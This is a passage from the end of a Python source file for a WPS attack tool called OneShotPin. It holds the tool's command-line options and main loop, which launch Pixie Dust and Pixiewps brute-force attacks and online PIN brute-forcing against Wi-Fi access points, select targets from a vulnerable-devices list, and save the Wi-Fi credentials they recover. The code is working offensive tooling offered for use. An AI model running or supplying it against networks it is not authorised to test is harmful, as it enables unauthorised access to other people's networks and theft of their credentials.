devices list ['vulnwsc.txt'] 1165 | --iface-down : Down network interface when the work is finished 1166 | -l, --loop : Run in a loop 1167 | -r, --reverse-scan : Reverse order of networks in the list of networks. Useful on small displays 1168 | --mtk-wifi : Activate MediaTek Wi-Fi interface driver on startup and deactivate it on exit 1169 | (for internal Wi-Fi adapters implemented in MediaTek SoCs). Turn off Wi-Fi in the system settings before using this. 1170 | -v, --verbose : Verbose output 1171 | 1172 | Example: 1173 | %(prog)s -i wlan0 -b 00:90:4C:C1:AC:21 -K 1174 | """ 1175 | 1176 | 1177 | if __name__ == '__main__': 1178 | import argparse 1179 | 1180 | parser = argparse.ArgumentParser( 1181 | description='OneShotPin 0.0.2 (c) 2017 rofl0r, modded by drygdryg', 1182 | epilog='Example: %(prog)s -i wlan0 -b 00:90:4C:C1:AC:21 -K' 1183 | ) 1184 | 1185 | parser.add_argument( 1186 | '-i', '--interface', 1187 | type=str, 1188 | required=True, 1189 | help='Name of the interface to use' 1190 | ) 1191 | parser.add_argument( 1192 | '-b', '--bssid', 1193 | type=str, 1194 | help='BSSID of the target AP' 1195 | ) 1196 | parser.add_argument( 1197 | '-p', '--pin', 1198 | type=str, 1199 | help='Use the specified pin (arbitrary string or 4/8 digit pin)' 1200 | ) 1201 | parser.add_argument( 1202 | '-K', '--pixie-dust', 1203 | action='store_true', 1204 | help='Run Pixie Dust attack' 1205 | ) 1206 | parser.add_argument( 1207 | '-F', '--pixie-force', 1208 | action='store_true', 1209 | help='Run Pixiewps with --force option (bruteforce full range)' 1210 | ) 1211 | parser.add_argument( 1212 | '-X', '--show-pixie-cmd', 1213 | action='store_true', 1214 | help='Always print Pixiewps command' 1215 | ) 1216 | parser.add_argument( 1217 | '-B', '--bruteforce', 1218 | action='store_true', 1219 | help='Run online bruteforce attack' 1220 | ) 1221 | parser.add_argument( 1222 | '--pbc', '--push-button-connect', 1223 | action='store_true', 1224 | help='Run WPS push button connection' 1225 | ) 1226 | parser.add_argument( 1227 | '-d', '--delay', 1228 | type=float, 1229 | help='Set the delay between pin attempts' 1230 | ) 1231 | parser.add_argument( 1232 | '-w', '--write', 1233 | action='store_true', 1234 | help='Write credentials to the file on success' 1235 | ) 1236 | parser.add_argument( 1237 | '--iface-down', 1238 | action='store_true', 1239 | help='Down network interface when the work is finished' 1240 | ) 1241 | parser.add_argument( 1242 | '--vuln-list', 1243 | type=str, 1244 | default=os.path.dirname(os.path.realpath(__file__)) + '/vulnwsc.txt', 1245 | help='Use custom file with vulnerable devices list' 1246 | ) 1247 | parser.add_argument( 1248 | '-l', '--loop', 1249 | action='store_true', 1250 | help='Run in a loop' 1251 | ) 1252 | parser.add_argument( 1253 | '-r', '--reverse-scan', 1254 | action='store_true', 1255 | help='Reverse order of networks in the list of networks. Useful on small displays' 1256 | ) 1257 | parser.add_argument( 1258 | '--mtk-wifi', 1259 | action='store_true', 1260 | help='Activate MediaTek Wi-Fi interface driver on startup and deactivate it on exit ' 1261 | '(for internal Wi-Fi adapters implemented in MediaTek SoCs). ' 1262 | 'Turn off Wi-Fi in the system settings before using this.' 1263 | ) 1264 | parser.add_argument( 1265 | '-v', '--verbose', 1266 | action='store_true', 1267 | help='Verbose output' 1268 | ) 1269 | 1270 | args = parser.parse_args() 1271 | 1272 | if sys.hexversion < 0x03060F0: 1273 | die("The program requires Python 3.6 and above") 1274 | if os.getuid() != 0: 1275 | die("Run it as root") 1276 | 1277 | if args.mtk_wifi: 1278 | wmtWifi_device = Path("/dev/wmtWifi") 1279 | if not wmtWifi_device.is_char_device(): 1280 | die("Unable to activate MediaTek Wi-Fi interface device (--mtk-wifi): " 1281 | "/dev/wmtWifi does not exist or it is not a character device") 1282 | wmtWifi_device.chmod(0o644) 1283 | wmtWifi_device.write_text("1") 1284 | 1285 | if not ifaceUp(args.interface): 1286 | die('Unable to up interface "{}"'.format(args.interface)) 1287 | 1288 | while True: 1289 | try: 1290 | companion = Companion(args.interface, args.write, print_debug=args.verbose) 1291 | if args.pbc: 1292 | companion.single_connection(pbc_mode=True) 1293 | else: 1294 | if not args.bssid: 1295 | try: 1296 | with open(args.vuln_list, 'r', encoding='utf-8') as file: 1297 | vuln_list = file.read().splitlines() 1298 | except FileNotFoundError: 1299 | vuln_list = [] 1300 | scanner = WiFiScanner(args.interface, vuln_list) 1301 | if not args.loop: 1302 | print('[*] BSSID not specified (--bssid) — scanning for available networks') 1303 | args.bssid = scanner.prompt_network() 1304 | 1305 | if args.bssid: 1306 | companion = Companion(args.interface, args.write, print_debug=args.verbose) 1307 | if args.bruteforce: 1308 | companion.smart_bruteforce(args.bssid, args.pin, args.delay) 1309 | else: 1310 | companion.single_connection(args.bssid, args.pin, args.pixie_dust, args.pbc, 1311 | args.show_pixie_cmd, args.pixie_force) 1312 | if not args.loop: 1313 | break 1314 | else: 1315 | args.bssid = None 1316 | except KeyboardInterrupt: 1317 | if args.loop: 1318 | if input("\n[?] Exit the script (otherwise continue to AP scan)? [N/y] ").lower() == 'y': 1319 | print("Aborting…") 1320 | break 1321 | else: 1322 | args.bssid = None 1323 | else: 1324 | print("\nAborting…") 1325 | break 1326 | 1327 | if args.iface_down: 1328 | ifaceUp(args.interface, down=True) 1329 | 1330 | if args.mtk_wifi: 1331 | wmtWifi_device.write_text("0") 1332 | --------------------------------------------------------------------------------